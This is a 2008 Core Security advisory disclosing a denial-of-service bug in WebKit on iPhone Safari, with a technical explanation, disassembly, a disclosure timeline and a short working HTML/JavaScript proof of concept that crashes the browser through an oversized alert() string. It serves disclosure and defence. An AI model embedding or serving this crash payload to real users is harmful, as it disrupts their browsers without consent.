-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           https://www.coresecurity.com/corelabs/

iPhone Safari JavaScript alert Denial of Service



1. *Advisory Information*

Title: iPhone Safari JavaScript alert Denial of Service
Advisory ID: CORE-2008-0603
Advisory URL:
https://www.coresecurity.com/content/iphone-safari-javascript-alert-denial-of-service
Date published: 2008-09-12
Date of last update: 2008-09-12
Vendors contacted: Apple Security
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Client-side Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 31061
CVE Name: CVE-2008-3950


3. *Vulnerability Description*

Apple Safari is the default web browser included on Apple iPhone. A
vulnerability has been found on the 'WebKit' library used by Safari
inside iPhone. By inserting a special string on the 'alert()' JavaScript
method, it's possible to crash Safari via an outbound memory read
triggering an access violation.


4. *Vulnerable packages*

   . iPhone v1.1.4 and v2.0
   . iPod touch v1.1.4 and v2.0


5. *Non-vulnerable packages*

   . iPhone v2.1
   . iPod Touch v2.1


6. *Vendor Information*

The information on this section was provided verbatim by the vendor.


6.1. *Availability*

Apple security updates are available via the Software Update mechanism:
https://support.apple.com/kb/HT1338
 Apple security updates are also available for manual download via:
https://www.apple.com/support/downloads/



6.2. *Cross-References*

We generally do not publish advisories for denial of service issues
unless there are more serious security consequences. As such, we are not
planning to describe the fix for this issue, but we do appreciate your
having reported it to us. If you provide cross-referencing information
in your advisory please link to the following URL:
https://support.apple.com/kb/HT1222



7. *Credits*

Nicolas Economou from Core Security Technologies discovered and
researched this vulnerability.


8. *Technical Description / Proof of Concept Code*

The vulnerability is located in the library 'WebKit' used by Safari on
iPhone.

The vulnerable function is
'_web_drawInRect:withFont:ellipsis:alignment:measureOnly: :
NSString(WebStringDrawing)' which is one of the functions used by the
'alert()' method on this implementation of JavaScript.

The 'alert()' method receives a string parameter to be showed on screen.
When this string parameter is large, the library maps the required
memory to store it.

As the memory page size is 4096 bytes, the reserved memory is
rounded-up, that is, the rest of the page is marked as reserved but
unused. If a string has length divisible by 4096, it fits exactly in the
memory reserved, no bytes are left unused.

When the vulnerable function is called, it calls the method
'WebCore::nextBreakablePosition' in charge of searching for "breakable"
characters, for example a space, character "-", etcetera, and returns
the position where the first "breakable" character was found. This
method takes as parameter the same string passed to the 'alert' on
JavaScript.

In the case that no "breakable" characters are found, it returns the
final position of the string plus 1. For example, if the string size is
'0x1000' and the function doesn't find anything, it return position
'0x1000', counting from zero, obviously.

The crash is generated when function
'_web_drawInRect:withFont:ellipsis:alignment:measureOnly' receives as
parameter a large string with a size multiple of 4096 without
"breakable" characters and then passes it to method
'WebCore::nextBreakablePosition'. Once the method is called, it uses the
return value to access the out-of-bound string position, just outside of
the memory allocated and possibly located on a non-mapped memory area.

The vulnerability is produced by an invalid access read.

The function fragment where the vulnerability was found is showed:



/-----------

31739CB4  MOV   R1, R8       ; R1=string
31739CB8  MOV   R2, R10      ; R10=string len
31739CBC  MOV   R3, R8
31739CC0  MOV   R0, R4
31739CC4  BL    WebCore::nextBreakablePosition(ushort  const*,int,int,bool)
31739CC8  LDR   R1, =0x1008
31739CCC  MOV   R3, R0,LSL#1 ; R0=returned position
31739CD0  MOV   R5, R0
31739CD4  LDRH  R0, [R4,R3]  ; <---- CRASH="" !!!
31739CD8  ADD   R6, R4, R3
31739CDC  BL    _u_getIntPropertyValue
31739CE0  CMP   R0, #0x1D
31739CE4  BHI   loc_31739D1C

- -----------/



The following proof of concept HTML code generates the string with
length multiple of 4096 to demonstrate the bug.



/-----------

  <html>
  <body>
  <form>
  <script type="text/javascript" language="JavaScript">

  var st = "A";

  alert ( "Crashing Safari on iPhone..." );

  for ( var d = 1 ; d <= 16 ; d ++ )
  {
  st += st;
  }

  alert ( st );

  </script>
  </form>
  </body>
  </html>

- -----------/



When debugging Safari on iPhone with 'iphonedbg'[1] the proof-of-concept
produces the following output:



/-----------

ACCESS VIOLATION
r0=00010000     r1=00001008     r2=00000041     r3=00020000
r4=02e00000     r5=00010000     r6=00000001     r7=2ffff04c
r8=00000000     r9=3800da94    r10=00010000    r11=001833e0
r12=ffffffff    sp=2fffe70c     lr=31739cc8     pc=31739cd4
ctrl=60000010
WebCore!-[NSString(WebStringDrawing)
_web_drawInRect:withFont:ellipsis:alignment:measureOnly:]+268:
pc=31739cd4 b3 00 94 e1 ldrh    r0, [r4, r3]

- -----------/



It can be seen that the instruction 'ldrh r0, [r4, r3]' tries to read
the memory location pointed by 'R4+R3', in this case, unmapped memory.
Making a dump of the memory area accessed, we see the following:



/-----------

31739cd4> db r4+r3-40
02e1ffc0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 |
A.A.A.A.A.A.A.A.
02e1ffd0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 |
A.A.A.A.A.A.A.A.
02e1ffe0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 |
A.A.A.A.A.A.A.A.
02e1fff0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 |
A.A.A.A.A.A.A.A.
02e20000  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? |
????????????????
02e20010  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? |
????????????????
02e20020  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? |
????????????????
02e20030  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? |
????????????????

- -----------/




9. *Report Timeline*

2008-07-21: Core notifies the vendor of the bug and sends the advisory
draft (with PoC). Core states that version 1.1.4 and previous versions
are affected.
2008-07-24: Core asks for confirmation of reception of the previous email.
2008-07-24: Vendor acknowledges and states that they will analyze the bug.
2008-07-29: Vendor confirms the existence of the bug, but doesn't
consider that this client-side denial-of-service affects the security of
the system. It communicates that version 2.0 is also affected and
requests to wait until a patch is available before releasing the advisory.
2008-07-29: Core replies that further testing reveals that 2.0 is also
affected (crash sent), that the issue is considered by Core as a
security problem, and asks for concrete information regarding dates and
versions of the patch.
2008-07-29: Vendor confirms that versions 1.1.4 and 2.0.0 are affected,
and declines to provide an estimated date for the release of fixed
versions at that moment.
2008-07-29: Core requests an estimation of when the update information
will be available.
2008-08-04: Vendor replies that the timeframe will be communicated to
Core as soon as they have it.
2008-08-26: Core asks for any update of the schedule to fix the DoS, and
notifies the Vendor that the publication was rescheduled to September 16th.
2008-09-05: Vendor estimates that their patch and security bulletin
would be released early on September 7th week.
2008-09-05: Core confirms that the advisory will be released as soon as
the security bulletin is sent to Core.
2008-09-08: Core requests a more precise timing to the vendor.
2008-09-08: Vendor confirms that the Apple patch is not going out on
Monday 8th, and requests Core to hold off the advisory until the
Vendor's security bulletin is out.
2008-09-11: Core requests the vendor a new date for re-scheduling the
publication of advisory CORE-2008-0603, notices that a security update
has been released for iPod touch on September 9th without notification
to Core and asks for details.
2008-09-12: Vendor responds that the update of September 9th fixes the
bug for iPod touch and the update released on Friday 12th fixes it for
iPhone.
2008-09-12: Core publishes advisory CORE-2008-0603.


10. *References*

[1] iPhoneDbg Toolkit https://oss.coresecurity.com/projects/iphonedbg.html.


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
https://www.coresecurity.com/corelabs.


12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
https://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
https://www.coresecurity.com/files/attachments/core_security_advisories.asc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (MingW32)
Comment: Using GnuPG with Mozilla - https://enigmail.mozdev.org

iD8DBQFIyuMAyNibggitWa0RArBaAJ9NOuyo5DwXda571Ltra2BM4uZw+ACfYtCU
5pu4hSqtL8R+7syRM5nhnDQ=
=i+Yt
-----END PGP SIGNATURE-----